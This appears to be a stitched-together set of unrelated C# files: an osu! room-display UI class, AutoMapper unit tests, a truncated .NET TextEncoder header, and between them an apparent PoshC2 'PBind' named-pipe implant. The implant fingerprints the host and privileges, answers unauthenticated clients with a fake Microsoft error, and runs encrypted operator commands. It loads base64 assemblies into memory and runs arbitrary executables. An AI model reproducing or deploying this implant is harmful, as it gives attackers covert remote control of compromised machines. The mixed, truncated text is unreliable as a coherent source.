// Copyright (c) ppy Pty Ltd <contact@ppy.sh>. Licensed under the MIT Licence. // See the LICENCE file in the repository root for full licence text. using System; using System.Collections.Generic; using osu.Framework; using osu.Framework.Allocation; using osu.Framework.Bindables; using osu.Framework.Extensions.Color4Extensions; using osu.Framework.Graphics; using osu.Framework.Graphics.Containers; using osu.Framework.Graphics.Cursor; using osu.Framework.Graphics.Effects; using osu.Framework.Graphics.Shapes; using osu.Framework.Graphics.UserInterface; using osu.Game.Beatmaps; using osu.Game.Beatmaps.Drawables; using osu.Game.Graphics; using osu.Game.Graphics.Containers; using osu.Game.Graphics.Sprites; using osu.Game.Graphics.UserInterface; using osu.Game.Online.Rooms; using osu.Game.Screens.OnlinePlay.Components; using osuTK; using osuTK.Graphics; namespace osu.Game.Screens.OnlinePlay.Lounge.Components { public class DrawableRoom : OsuClickableContainer, IStateful<SelectionState>, IFilterable, IHasContextMenu { public const float SELECTION_BORDER_WIDTH = 4; private const float corner_radius = 5; private const float transition_duration = 60; private const float content_padding = 10; private const float height = 110; private const float side_strip_width = 5; private const float cover_width = 145; public event Action<SelectionState> StateChanged; private readonly Box selectionBox; [Resolved(canBeNull: true)] private OnlinePlayScreen parentScreen { get; set; } [Resolved] private BeatmapManager beatmaps { get; set; } public readonly Room Room; private SelectionState state; public SelectionState State { get => state; set { if (value == state) return; state = value; if (state == SelectionState.Selected) selectionBox.FadeIn(transition_duration); else selectionBox.FadeOut(transition_duration); StateChanged?.Invoke(State); } } public IEnumerable<string> FilterTerms => new[] { Room.Name.Value }; private bool matchingFilter; public bool MatchingFilter { get => matchingFilter; set { matchingFilter = value; if (!IsLoaded) return; if (matchingFilter) this.FadeIn(200); else Hide(); } } public bool FilteringActive { get; set; } public DrawableRoom(Room room) { Room = room; RelativeSizeAxes = Axes.X; Height = height + SELECTION_BORDER_WIDTH * 2; CornerRadius = corner_radius + SELECTION_BORDER_WIDTH / 2; Masking = true; // create selectionBox here so State can be set before being loaded selectionBox = new Box { RelativeSizeAxes = Axes.Both, Alpha = 0f, }; } [BackgroundDependencyLoader] private void load(OsuColour colours) { float stripWidth = side_strip_width * (Room.Category.Value == RoomCategory.Spotlight ? 2 : 1); Children = new Drawable[] { new StatusColouredContainer(transition_duration) { RelativeSizeAxes = Axes.Both, Child = selectionBox }, new Container { RelativeSizeAxes = Axes.Both, Padding = new MarginPadding(SELECTION_BORDER_WIDTH), Child = new Container { RelativeSizeAxes = Axes.Both, Masking = true, CornerRadius = corner_radius, EdgeEffect = new EdgeEffectParameters { Type = EdgeEffectType.Shadow, Colour = Color4.Black.Opacity(40), Radius = 5, }, Children = new Drawable[] { new Box { RelativeSizeAxes = Axes.Both, Colour = Color4Extensions.FromHex(@"212121"), }, new StatusColouredContainer(transition_duration) { RelativeSizeAxes = Axes.Y, Width = stripWidth, Child = new Box { RelativeSizeAxes = Axes.Both } }, new Container { RelativeSizeAxes = Axes.Y, Width = cover_width, Masking = true, Margin = new MarginPadding { Left = stripWidth }, Child = new OnlinePlayBackgroundSprite(BeatmapSetCoverType.List) { RelativeSizeAxes = Axes.Both } }, new Container { RelativeSizeAxes = Axes.Both, Padding = new MarginPadding { Vertical = content_padding, Left = stripWidth + cover_width + content_padding, Right = content_padding, }, Children = new Drawable[] { new FillFlowContainer { RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, Direction = FillDirection.Vertical, Spacing = new Vector2(5f), Children = new Drawable[] { new RoomName { Font = OsuFont.GetFont(size: 18) }, new ParticipantInfo(), }, }, new FillFlowContainer { Anchor = Anchor.BottomLeft, Origin = Anchor.BottomLeft, RelativeSizeAxes = Axes.X, AutoSizeAxes = Axes.Y, Direction = FillDirection.Vertical, Spacing = new Vector2(0, 5), Children = new Drawable[] { new RoomStatusInfo(), new BeatmapTitle { TextSize = 14 }, }, }, new ModeTypeInfo { Anchor = Anchor.BottomRight, Origin = Anchor.BottomRight, }, }, }, }, }, }, }; } protected override IReadOnlyDependencyContainer CreateChildDependencies(IReadOnlyDependencyContainer parent) { return new CachedModelDependencyContainer<Room>(base.CreateChildDependencies(parent)) { Model = { Value = Room } }; } protected override void LoadComplete() { base.LoadComplete(); if (matchingFilter) this.FadeInFromZero(transition_duration); else Alpha = 0; } protected override bool ShouldBeConsideredForInput(Drawable child) => state == SelectionState.Selected; private class RoomName : OsuSpriteText { [Resolved(typeof(Room), nameof(Online.Rooms.Room.Name))] private Bindable<string> name { get; set; } [BackgroundDependencyLoader] private void load() { Current = name; } } public MenuItem[] ContextMenuItems => new MenuItem[] { new OsuMenuItem("Create copy", MenuItemType.Standard, () => { parentScreen?.OpenNewRoom(Room.CreateCopy()); }) }; } }
using System; using System.Linq; using System.IO.Pipes; using System.Security.AccessControl; using System.Text; using System.Text.RegularExpressions; using System.Reflection; using System.Threading; using System.Diagnostics; using System.Runtime.InteropServices; using System.IO; using System.IO.Compression; using System.Security.Cryptography; using System.Security.Principal; public class Program { public static string command; public static bool kill; public static string pipeName; public static string encryption; public static string secret; public static string output; public static bool running; private static StringWriter backgroundTaskOutput = new StringWriter(); public static void Sharp() { Program.pipeName = "#REPLACEPBINDPIPENAME#"; Program.secret = "#REPLACEPBINDSECRET#"; Program.encryption = "#REPLACEKEY#"; Program.kill = false; PbindConnect(); } public static void Main() { Sharp(); } static bool ihInteg() { System.Security.Principal.WindowsIdentity identity = System.Security.Principal.WindowsIdentity.GetCurrent(); System.Security.Principal.WindowsPrincipal principal = new System.Security.Principal.WindowsPrincipal(identity); return principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator); } private static void PbindConnect() { PipeSecurity pipeSecurity = new PipeSecurity(); var pipeAccessRule = new PipeAccessRule("Everyone", PipeAccessRights.ReadWrite, AccessControlType.Allow); pipeSecurity.AddAccessRule(pipeAccessRule); var pipeServerStream = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 100, PipeTransmissionMode.Byte, PipeOptions.None, 4096, 4096, pipeSecurity); try { pipeServerStream.WaitForConnection(); running = true; var pipeReader = new StreamReader(pipeServerStream); var pipeWriter = new StreamWriter(pipeServerStream); pipeWriter.AutoFlush = true; var ppass = pipeReader.ReadLine(); var command = ""; while (running) { if (ppass != secret) { pipeWriter.WriteLine("Microsoft Error: 151337"); } else { while (running) { var u = ""; try { u = WindowsIdentity.GetCurrent().Name; } catch { u = Environment.UserName; } if (ihInteg()) { u += "*"; } var dn = Environment.UserDomainName; var cn = Environment.GetEnvironmentVariable("COMPUTERNAME"); var arch = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); int pid = Process.GetCurrentProcess().Id; Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir"); var o = String.Format("PBind-Connected: {0};{1};{2};{3};{4};", dn, u, cn, arch, pid); var zo = Encrypt(encryption, o); pipeWriter.WriteLine(zo); var exitvt = new ManualResetEvent(false); var output = new StringBuilder(); while (running) { var zz = Encrypt(encryption, "COMMAND"); pipeWriter.WriteLine(zz); if (pipeServerStream.CanRead) { command = pipeReader.ReadLine(); if (!String.IsNullOrWhiteSpace(command)) { var sOutput2 = new StringWriter(); var cmd = Decrypt(encryption, command); if (cmd.StartsWith("KILL")) { running = false; pipeServerStream.Disconnect(); pipeServerStream.Close(); } else if (cmd.ToLower().StartsWith("loadmodule")) { try { var module = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase); var assembly = Assembly.Load(Convert.FromBase64String(module)); } catch (Exception e) { Console.WriteLine($"Error loading modules {e}"); } sOutput2.WriteLine("Module loaded successfully"); } else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background")) { Thread t = new Thread(() => RunAssembly(cmd, true)); t.Start(); sOutput2.WriteLine("[+] Running task in background, run get-bg to get background output."); sOutput2.WriteLine("[*] Only run one task in the background at a time per implant."); } else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe")) { var oldOutput = Console.Out; Console.SetOut(sOutput2); sOutput2.WriteLine(RunAssembly((cmd))); Console.SetOut(oldOutput); } else if (cmd.ToLower() == "foo") { sOutput2.WriteLine("bar"); } else if(cmd.ToLower() == "get-bg") { var backgroundTaskOutputString = backgroundTaskOutput.ToString(); if(!string.IsNullOrEmpty(backgroundTaskOutputString)) { output.Append(backgroundTaskOutputString); } else { sOutput2.WriteLine("[-] No output"); } } else { var oldOutput = Console.Out; Console.SetOut(sOutput2); sOutput2.WriteLine(RunAssembly($"run-exe Core.Program Core {cmd}")); Console.SetOut(oldOutput); } output.Append(sOutput2.ToString()); var result = Encrypt(encryption, output.ToString()); pipeWriter.Flush(); pipeWriter.WriteLine(result); pipeWriter.Flush(); output.Clear(); output.Length = 0; sOutput2.Flush(); sOutput2.Close(); } } else { Console.WriteLine("$[-] Cannot read from pipe"); } } } } } } catch (Exception e) { Console.WriteLine("Error: " + e.Message); Console.WriteLine(e.StackTrace); } } [DllImport("shell32.dll")] static extern IntPtr CommandLineToArgvW([MarshalAs(UnmanagedType.LPWStr)] string lpCmdLine, out int pNumArgs); private static string[] ParseCommandLineArgs(string cl) { int argc; var argv = CommandLineToArgvW(cl, out argc); if (argv == IntPtr.Zero) throw new System.ComponentModel.Win32Exception(); try { var args = new string[argc]; for (var i = 0; i < args.Length; i++) { var p = Marshal.ReadIntPtr(argv, i * IntPtr.Size); args[i] = Marshal.PtrToStringUni(p); } return args; } finally { Marshal.FreeHGlobal(argv); } } private static Type LoadAssembly(string assemblyName) { return Type.GetType(assemblyName, (name) => { return AppDomain.CurrentDomain.GetAssemblies().Where(z => z.FullName == name.FullName).LastOrDefault(); }, null, true); } private static string RunAssembly(string c, bool background = false) { var oldOutput = Console.Out; if(background) { backgroundTaskOutput = new StringWriter(); Console.SetOut(backgroundTaskOutput); } var splitargs = c.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries); int i = 0; var sOut = ""; string sMethod = "", sta = "", qNme = "", name = ""; foreach (var a in splitargs) { if (i == 1) qNme = a; if (i == 2) name = a; if (c.ToLower().StartsWith("run-exe")) { if (i > 2) sta = sta + " " + a; } else { if (i == 3) sMethod = a; else if (i > 3) sta = sta + " " + a; } i++; } string[] l = ParseCommandLineArgs(sta); var asArgs = l.Skip(1).ToArray(); foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies()) { if (Ass.FullName.ToString().ToLower().StartsWith(name.ToLower())) { var lTyp = LoadAssembly(qNme + ", " + Ass.FullName); try { if (c.ToLower().StartsWith("run-exe")) { object output = null; output = lTyp.Assembly.EntryPoint.Invoke(null, new object[] { asArgs }); if (output != null) { sOut = output.ToString(); } } else { try { object output = null; output = lTyp.Assembly.GetType(qNme).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, asArgs).ToString(); if (output != null) { sOut = output.ToString(); } } catch { object output = null; output = lTyp.Assembly.GetType(qNme).InvokeMember(sMethod, BindingFlags.Public | BindingFlags.InvokeMethod | BindingFlags.Static, null, null, null).ToString(); if (output != null) { sOut = output.ToString(); } } } } catch (Exception e) { Console.WriteLine("RAsm Exception: " + e.Message); Console.WriteLine(e.StackTrace); } break; } } if(background) { Console.SetOut(oldOutput); backgroundTaskOutput.WriteLine(sOut); } return sOut; } private static string Decrypt(string key, string ciphertext) { var rawCipherText = Convert.FromBase64String(ciphertext); var IV = new Byte[16]; Array.Copy(rawCipherText, IV, 16); try { var algorithm = CreateEncryptionAlgorithm(key, Convert.ToBase64String(IV)); var decrypted = algorithm.CreateDecryptor().TransformFinalBlock(rawCipherText, 16, rawCipherText.Length - 16); return Encoding.UTF8.GetString(decrypted.Where(x => x > 0).ToArray()); } catch { var algorithm = CreateEncryptionAlgorithm(key, Convert.ToBase64String(IV), false); var decrypted = algorithm.CreateDecryptor().TransformFinalBlock(rawCipherText, 16, rawCipherText.Length - 16); return Encoding.UTF8.GetString(decrypted.Where(x => x > 0).ToArray()); } finally { Array.Clear(rawCipherText, 0, rawCipherText.Length); Array.Clear(IV, 0, 16); } } private static string Encrypt(string key, string un, bool comp = false, byte[] unByte = null) { byte[] byEnc; if (unByte != null) byEnc = unByte; else byEnc = Encoding.UTF8.GetBytes(un); if (comp) byEnc = GzipCompress(byEnc); try { var a = CreateEncryptionAlgorithm(key, null); var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length); return Convert.ToBase64String(CombineArrays(a.IV, f)); } catch { var a = CreateEncryptionAlgorithm(key, null, false); var f = a.CreateEncryptor().TransformFinalBlock(byEnc, 0, byEnc.Length); return Convert.ToBase64String(CombineArrays(a.IV, f)); } } private static SymmetricAlgorithm CreateEncryptionAlgorithm(string key, string IV, bool rij = true) { SymmetricAlgorithm algorithm; if (rij) algorithm = new RijndaelManaged(); else algorithm = new AesCryptoServiceProvider(); algorithm.Mode = CipherMode.CBC; algorithm.Padding = PaddingMode.Zeros; algorithm.BlockSize = 128; algorithm.KeySize = 256; if (null != IV) algorithm.IV = Convert.FromBase64String(IV); else algorithm.GenerateIV(); if (null != key) algorithm.Key = Convert.FromBase64String(key); return algorithm; } private static byte[] GzipCompress(byte[] raw) { using (MemoryStream memory = new MemoryStream()) { using (GZipStream gzip = new GZipStream(memory, CompressionMode.Compress, true)) { gzip.Write(raw, 0, raw.Length); } return memory.ToArray(); } } private static byte[] CombineArrays(byte[] first, byte[] second) { byte[] ret = new byte[first.Length + second.Length]; Buffer.BlockCopy(first, 0, ret, 0, first.Length); Buffer.BlockCopy(second, 0, ret, first.Length, second.Length); return ret; } }
using System; using Should; using NUnit.Framework; namespace AutoMapper.UnitTests { namespace CustomMapping { public class When_mapping_to_a_dto_member_with_custom_mapping : AutoMapperSpecBase { private ModelDto _result; public class ModelObject { public int Value { get; set; } public int Value2fff { get; set; } public int Value3 { get; set; } public int Value4 { get; set; } public int Value5 { get; set; } } public class ModelDto { public int Value { get; set; } public int Value2 { get; set; } public int Value3 { get; set; } public int Value4 { get; set; } public int Value5 { get; set; } } public class CustomResolver : IValueResolver { public ResolutionResult Resolve(ResolutionResult source) { return source.New(((ModelObject)source.Value).Value + 1); } } public class CustomResolver2 : IValueResolver { public ResolutionResult Resolve(ResolutionResult source) { return source.New(((ModelObject)source.Value).Value2fff + 2); } } public class CustomResolver3 : IValueResolver { public ResolutionResult Resolve(ResolutionResult source) { return source.New(((ModelObject)source.Value).Value4 + 4); } public Type GetResolvedValueType() { return typeof(int); } } protected override void Establish_context() { Mapper.CreateMap<ModelObject, ModelDto>() .ForMember(dto => dto.Value, opt => opt.ResolveUsing<CustomResolver>()) .ForMember(dto => dto.Value2, opt => opt.ResolveUsing(new CustomResolver2())) .ForMember(dto => dto.Value4, opt => opt.ResolveUsing(typeof(CustomResolver3))) .ForMember(dto => dto.Value5, opt => opt.ResolveUsing(src => src.Value5 + 5)); var model = new ModelObject { Value = 42, Value2fff = 42, Value3 = 42, Value4 = 42, Value5 = 42 }; _result = Mapper.Map<ModelObject, ModelDto>(model); } [Test] public void Should_ignore_the_mapping_for_normal_members() { _result.Value3.ShouldEqual(42); } [Test] public void Should_use_the_custom_generic_mapping_for_custom_dto_members() { _result.Value.ShouldEqual(43); } [Test] public void Should_use_the_instance_based_mapping_for_custom_dto_members() { _result.Value2.ShouldEqual(44); } [Test] public void Should_use_the_type_object_based_mapping_for_custom_dto_members() { _result.Value4.ShouldEqual(46); } [Test] public void Should_use_the_func_based_mapping_for_custom_dto_members() { _result.Value5.ShouldEqual(47); } } public class When_using_a_custom_resolver_for_a_child_model_property_instead_of_the_model : AutoMapperSpecBase { private ModelDto _result; public class ModelObject { public ModelSubObject Sub { get; set; } } public class ModelSubObject { public int SomeValue { get; set; } } public class ModelDto { public int SomeValue { get; set; } } public class CustomResolver : IValueResolver { public ResolutionResult Resolve(ResolutionResult source) { return source.New(((ModelSubObject)source.Value).SomeValue + 1); } } protected override void Establish_context() { Mapper.CreateMap<ModelObject, ModelDto>() .ForMember(dto => dto.SomeValue, opt => opt.ResolveUsing<CustomResolver>().FromMember(m => m.Sub)); var model = new ModelObject { Sub = new ModelSubObject { SomeValue = 46 } }; _result = Mapper.Map<ModelObject, ModelDto>(model); } [Test] public void Should_use_the_specified_model_member_to_resolve_from() { _result.SomeValue.ShouldEqual(47); } } public class When_reseting_a_mapping_to_use_a_resolver_to_a_different_member : AutoMapperSpecBase { private Dest _result; public class Source { public int SomeValue { get; set; } public int SomeOtherValue { get; set; } } public class Dest { public int SomeValue { get; set; } } public class CustomResolver : IValueResolver { public ResolutionResult Resolve(ResolutionResult source) { return source.New(((int)source.Value) + 5); } } protected override void Establish_context() { Mapper.CreateMap<Source, Dest>() .ForMember(dto => dto.SomeValue, opt => opt.ResolveUsing<CustomResolver>().FromMember(m => m.SomeOtherValue)); var model = new Source { SomeValue = 36, SomeOtherValue = 53 }; _result = Mapper.Map<Source, Dest>(model); } [Test] public void Should_override_the_existing_match_to_the_new_custom_resolved_member() { _result.SomeValue.ShouldEqual(58); } } public class When_reseting_a_mapping_from_a_property_to_a_method : AutoMapperSpecBase { private Dest _result; public class Source { public int Type { get; set; } } public class Dest { public int Type { get; set; } } public class CustomResolver : IValueResolver { public ResolutionResult Resolve(ResolutionResult source) { return source.New(((int)source.Value) + 5); } } protected override void Establish_context() { Mapper.CreateMap<Source, Dest>() .ForMember(dto => dto.Type, opt => opt.MapFrom(m => m.Type)); var model = new Source { Type = 5 }; _result = Mapper.Map<Source, Dest>(model); } [Test] public void Should_override_the_existing_match_to_the_new_custom_resolved_member() { _result.Type.ShouldEqual(5); } } public class When_specifying_a_custom_constructor_and_member_resolver : AutoMapperSpecBase { private Source _source; private Destination _dest; public class Source { public int Value { get; set; } } public class Destination { public int Value { get; set; } } public class CustomResolver : ValueResolver<int, int> { private readonly int _toAdd; public CustomResolver(int toAdd) { _toAdd = toAdd; } public CustomResolver() { _toAdd = 10; } protected override int ResolveCore(int source) { return source + _toAdd; } } protected override void Establish_context() { Mapper.CreateMap<Source, Destination>() .ForMember(s => s.Value, opt => opt.ResolveUsing<CustomResolver>() .FromMember(s => s.Value) .ConstructedBy(() => new CustomResolver(15))); _source = new Source { Value = 10 }; } protected override void Because_of() { _dest = Mapper.Map<Source, Destination>(_source); } [Test] public void Should_use_the_custom_constructor() { _dest.Value.ShouldEqual(25); } } public class When_specifying_a_member_resolver_and_custom_constructor : AutoMapperSpecBase { private Source _source; private Destination _dest; public class Source { public int Value { get; set; } } public class Destination { public int Value { get; set; } } public class CustomResolver : ValueResolver<int, int> { private readonly int _toAdd; public CustomResolver(int toAdd) { _toAdd = toAdd; } public CustomResolver() { _toAdd = 10; } protected override int ResolveCore(int source) { return source + _toAdd; } } protected override void Establish_context() { Mapper.CreateMap<Source, Destination>() .ForMember(s => s.Value, opt => opt.ResolveUsing<CustomResolver>() .ConstructedBy(() => new CustomResolver(15)) .FromMember(s => s.Value) ); _source = new Source { Value = 10 }; } protected override void Because_of() { _dest = Mapper.Map<Source, Destination>(_source); } [Test] public void Should_use_the_custom_constructor() { _dest.Value.ShouldEqual(25); } } public class When_specifying_a_custom_translator : AutoMapperSpecBase { private Source _source; private Destination _dest; public class Source { public int Value { get; set; } public int AnotherValue { get; set; } } public class Destination { public int Value { get; set; } } protected override void Establish_context() { base.Establish_context(); _source = new Source { Value = 10, AnotherValue = 1000 }; } [Test] public void Should_use_the_custom_translator() { Mapper.CreateMap<Source, Destination>() .ConvertUsing(s => new Destination { Value = s.Value + 10 }); _dest = Mapper.Map<Source, Destination>(_source); _dest.Value.ShouldEqual(20); } [Test] public void Should_ignore_other_mapping_rules() { Mapper.CreateMap<Source, Destination>() .ForMember(dest => dest.Value, opt => opt.MapFrom(src => src.AnotherValue)) .ConvertUsing(s => new Destination { Value = s.Value + 10 }); _dest = Mapper.Map<Source, Destination>(_source); _dest.Value.ShouldEqual(20); } } public class When_specifying_a_custom_translator_and_passing_in_the_destination_object : AutoMapperSpecBase { private Source _source; private Destination _dest; public class Source { public int Value { get; set; } public int AnotherValue { get; set; } } public class Destination { public int Value { get; set; } } protected override void Establish_context() { base.Establish_context(); _source = new Source { Value = 10, AnotherValue = 1000 }; _dest = new Destination { Value = 2 }; } [Test] public void Should_resolve_to_the_destination_object_from_the_custom_translator() { Mapper.CreateMap<Source, Destination>() .ConvertUsing(s => new Destination { Value = s.Value + 10 }); _dest = Mapper.Map(_source, _dest); _dest.Value.ShouldEqual(20); } [Test] public void Should_ignore_other_mapping_rules() { Mapper.CreateMap<Source, Destination>() .ForMember(dest => dest.Value, opt => opt.MapFrom(src => src.AnotherValue)) .ConvertUsing(s => new Destination { Value = s.Value + 10 }); _dest = Mapper.Map(_source, _dest); _dest.Value.ShouldEqual(20); } } public class When_specifying_a_custom_translator_using_generics : AutoMapperSpecBase { private Source _source; private Destination _dest; public class Source { public int Value { get; set; } public int AnotherValue { get; set; } } public class Destination { public int Value { get; set; } } protected override void Establish_context() { base.Establish_context(); _source = new Source { Value = 10, AnotherValue = 1000 }; } public class Converter : TypeConverter<Source, Destination> { protected override Destination ConvertCore(Source source) { return new Destination { Value = source.Value + 10 }; } } [Test] public void Should_use_the_custom_translator() { Mapper.CreateMap<Source, Destination>() .ConvertUsing<Converter>(); _dest = Mapper.Map<Source, Destination>(_source); _dest.Value.ShouldEqual(20); } [Test] public void Should_ignore_other_mapping_rules() { Mapper.CreateMap<Source, Destination>() .ForMember(dest => dest.Value, opt => opt.MapFrom(src => src.AnotherValue)) .ConvertUsing(s => new Destination { Value = s.Value + 10 }); _dest = Mapper.Map<Source, Destination>(_source); _dest.Value.ShouldEqual(20); } } public class When_specifying_a_custom_constructor_function_for_custom_converters : AutoMapperSpecBase { private Destination _result; public class Source { public int Value { get; set; } } public class Destination { public int Value { get; set; } } public class CustomConverter : TypeConverter<Source, Destination> { private readonly int _value; public CustomConverter() : this(5) { } public CustomConverter(int value) { _value = value; } protected override Destination ConvertCore(Source source) { return new Destination { Value = source.Value + _value }; } } protected override void Establish_context() { Mapper.Initialize(init => init.ConstructServicesUsing(t => new CustomConverter(10))); Mapper.CreateMap<Source, Destination>() .ConvertUsing<CustomConverter>(); } protected override void Because_of() { _result = Mapper.Map<Source, Destination>(new Source { Value = 5 }); } [Test] public void Should_use_the_custom_constructor_function() { _result.Value.ShouldEqual(15); } } public class When_specifying_a_custom_translator_with_mismatched_properties : AutoMapperSpecBase { public class Source { public int Value1 { get; set; } public int AnotherValue { get; set; } } public class Destination { public int Value2 { get; set; } } protected override void Establish_context() { Mapper.CreateMap<Source, Destination>() .ConvertUsing(s => new Destination { Value2 = s.Value1 + 10 }); } [Test] public void Should_pass_all_configuration_checks() { Exception thrown = null; try { Mapper.AssertConfigurationIsValid(); } catch (Exception ex) { thrown = ex; } thrown.ShouldBeNull(); } } public class When_configuring_a_global_constructor_function_for_resolvers : AutoMapperSpecBase { private Destination _result; public class Source { public int Value { get; set; } } public class Destination { public int Value { get; set; } } public class CustomValueResolver : ValueResolver<int, int> { private readonly int _toAdd; public CustomValueResolver() { _toAdd = 11; } public CustomValueResolver(int toAdd) { _toAdd = toAdd; } protected override int ResolveCore(int source) { return source + _toAdd; } } protected override void Establish_context() { Mapper.Initialize(cfg => cfg.ConstructServicesUsing(type => new CustomValueResolver(5))); Mapper.CreateMap<Source, Destination>() .ForMember(d => d.Value, opt => opt.ResolveUsing<CustomValueResolver>().FromMember(src => src.Value)); } protected override void Because_of() { _result = Mapper.Map<Source, Destination>(new Source { Value = 5 }); } [Test] public void Should_use_the_specified_constructor() { _result.Value.ShouldEqual(10); } } public class When_custom_resolver_requests_property_to_be_ignored : AutoMapperSpecBase { private Destination _result = new Destination() { Value = 55 }; public class Source { public int Value { get; set; } } public class Destination { public int Value { get; set; } } public class CustomValueResolver : IValueResolver { public ResolutionResult Resolve(ResolutionResult source) { return source.Ignore(); } } protected override void Establish_context() { Mapper.CreateMap<Source, Destination>() .ForMember(d => d.Value, opt => opt.ResolveUsing<CustomValueResolver>().FromMember(src => src.Value)); } protected override void Because_of() { _result = Mapper.Map(new Source { Value = 5 }, _result); } [Test] public void Should_not_overwrite_destination_value() { _result.Value.ShouldEqual(55); } } public class When_specifying_member_and_member_resolver_using_string_property_names : AutoMapperSpecBase { private Destination _result; public class Source { public int SourceValue { get; set; } } public class Destination { public int DestinationValue { get; set; } } public class CustomValueResolver : ValueResolver<int, int> { public CustomValueResolver() { } protected override int ResolveCore(int source) { return source + 5; } } protected override void Establish_context() { Mapper.Initialize(cfg => cfg.ConstructServicesUsing(type => new CustomValueResolver())); Mapper.CreateMap<Source, Destination>() .ForMember("DestinationValue", opt => opt.ResolveUsing<CustomValueResolver>().FromMember("SourceValue")); } protected override void Because_of() { _result = Mapper.Map<Source, Destination>(new Source { SourceValue = 5 }); } [Test] public void Should_translate_the_property() { _result.DestinationValue.ShouldEqual(10); } } public class When_specifying_a_custom_member_mapping_to_a_nested_object : NonValidatingSpecBase { public class Source { public int Value { get; set; } } public class Destination { public SubDest Dest { get; set; } } public class SubDest { public int Value { get; set; } } [Test] public void Should_fail_with_an_exception_during_configuration() { typeof(ArgumentException).ShouldBeThrownBy(() => { Mapper.CreateMap<Source, Destination>() .ForMember(dest => dest.Dest.Value, opt => opt.MapFrom(src => src.Value)); }); } } public class When_specifying_a_custom_member_mapping_with_a_cast : NonValidatingSpecBase { private Source _source; private Destination _dest; public class Source { public string MyName { get; set; } } public class Destination : ISomeInterface { public string Name { get; set;} } public interface ISomeInterface { string Name { get; set; } } protected override void Establish_context() { Mapper.CreateMap<Source, Destination>() .ForMember(dest => ((ISomeInterface) dest).Name, opt => opt.MapFrom(src => src.MyName)); _source = new Source {MyName = "jon"}; } protected override void Because_of() { _dest = Mapper.Map<Source, Destination>(_source); } [Test] public void Should_perform_the_translation() { _dest.Name.ShouldEqual("jon"); } } #if SILVERLIGHT [Ignore("Setting non-public members not supported with Silverlight DynamicMethod ctor")] #endif public class When_destination_property_does_not_have_a_setter : AutoMapperSpecBase { private Source _source; private Destination _dest; public class Source { public string Name { get; set; } public string Value { get; set;} public string Foo { get; set; } } public class Destination { private DateTime _today; public string Name { get; private set; } public string Foo { get; protected set; } public DateTime Today { get { return _today; } } public string Value { get; set; } public Destination() { _today = DateTime.Today; Name = "name"; } } protected override void Establish_context() { Mapper.CreateMap<Source, Destination>(); _source = new Source { Name = "jon", Value = "value", Foo = "bar" }; _dest = new Destination(); } protected override void Because_of() { _dest = Mapper.Map<Source, Destination>(_source); } [Test] public void Should_copy_to_properties_that_have_setters() { _dest.Value.ShouldEqual("value"); } [Test] public void Should_not_attempt_to_translate_to_properties_that_do_not_have_a_setter() { _dest.Today.ShouldEqual(DateTime.Today); } [Test] public void Should_translate_to_properties_that_have_a_private_setters() { _dest.Name.ShouldEqual("jon"); } [Test] public void Should_translate_to_properties_that_have_a_protected_setters() { _dest.Foo.ShouldEqual("bar"); } } public class When_destination_type_requires_a_constructor : AutoMapperSpecBase { private Destination _destination; public class Source { public int Value { get; set; } } public class Destination { public Destination(int otherValue) { OtherValue = otherValue; } public int Value { get; set; } public int OtherValue { get; set; } } protected override void Establish_context() { Mapper.CreateMap<Source, Destination>() .ConstructUsing(src => new Destination(src.Value + 4)) .ForMember(dest => dest.OtherValue, opt => opt.Ignore()); } protected override void Because_of() { _destination = Mapper.Map<Source, Destination>(new Source {Value = 5}); } [Test] public void Should_use_supplied_constructor_to_map() { _destination.OtherValue.ShouldEqual(9); } [Test] public void Should_map_other_members() { _destination.Value.ShouldEqual(5); } } public class When_mapping_from_a_constant_value : AutoMapperSpecBase { private Dest _dest; public class Source { } public class Dest { public int Value { get; set; } } protected override void Establish_context() { Mapper.CreateMap<Source, Dest>() .ForMember(dest => dest.Value, opt => opt.UseValue(5)); } protected override void Because_of() { _dest = Mapper.Map<Source, Dest>(new Source()); } [Test] public void Should_map_from_that_constant_value() { _dest.Value.ShouldEqual(5); } } public class When_building_custom_configuration_mapping_to_itself : NonValidatingSpecBase { private Exception _e; public class Source { } public class Dest { public int Value { get; set; } } protected override void Establish_context() { } protected override void Because_of() { try { Mapper.CreateMap<Source, Dest>() .ForMember(dest => dest, opt => opt.UseValue(5)); } catch (Exception e) { _e = e; } } [Test] public void Should_map_from_that_constant_value() { _e.ShouldNotBeNull(); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.ComponentModel; using System.Diagnostics; using System.IO; using System.Runtime.CompilerServices; using System.Text.Unicode; namespace System.Text.Encodings.Web { /// <summary> /// An abstraction representing various text encoders. /// </summary> /// <remarks> /// TextEncoder subclasses can be used to do HTML encoding, URI encoding, and JavaScript encoding. /// Instances of such subclasses can be accessed using <see cref="HtmlEncoder.Default"/>, <see cref="UrlEncoder.Default"/>, and <see cref="JavaScriptEncoder.Default"/>. /// </remarks> public abstract class TextEncoder { // The following pragma disables a warning complaining about non-CLS compliant members being abstract, // and wants me to mark the type as non-CLS compliant. // It is true that this type cannot be extended by all CLS compliant languages. // Having said that, if I marked the type as non-CLS all methods that take it as parameter will now have to be marked CLSCompliant(false), // yet consumption of concrete encoders is totally CLS compliant, // as it?s mainly to be done by calling helper methods in TextEncoderExtensions class, // and so I think the warning is a bit too aggressive. /// <summary> /// Encodes a Unicode scalar into a buffer. /// </summary> /// <param name="unicodeScalar">Unicode scalar.</param> /// <param name="buffer">The destination of the encoded text.</param> /// <param name="bufferLength">Length of the destination <paramref name="buffer"/> in chars.</param> /// <param name="numberOfCharactersWritten">Number of characters written to the <paramref name="buffer"/>.</param> /// <returns>Returns false if <paramref name="bufferLength"/> is too small to fit the encoded text, otherwise returns true.</returns> /// <remarks>This method is seldom called directly. One of the TextEncoder.Encode overloads should be used instead. /// Implementations of <see cref="TextEncoder"/> need to be thread safe and 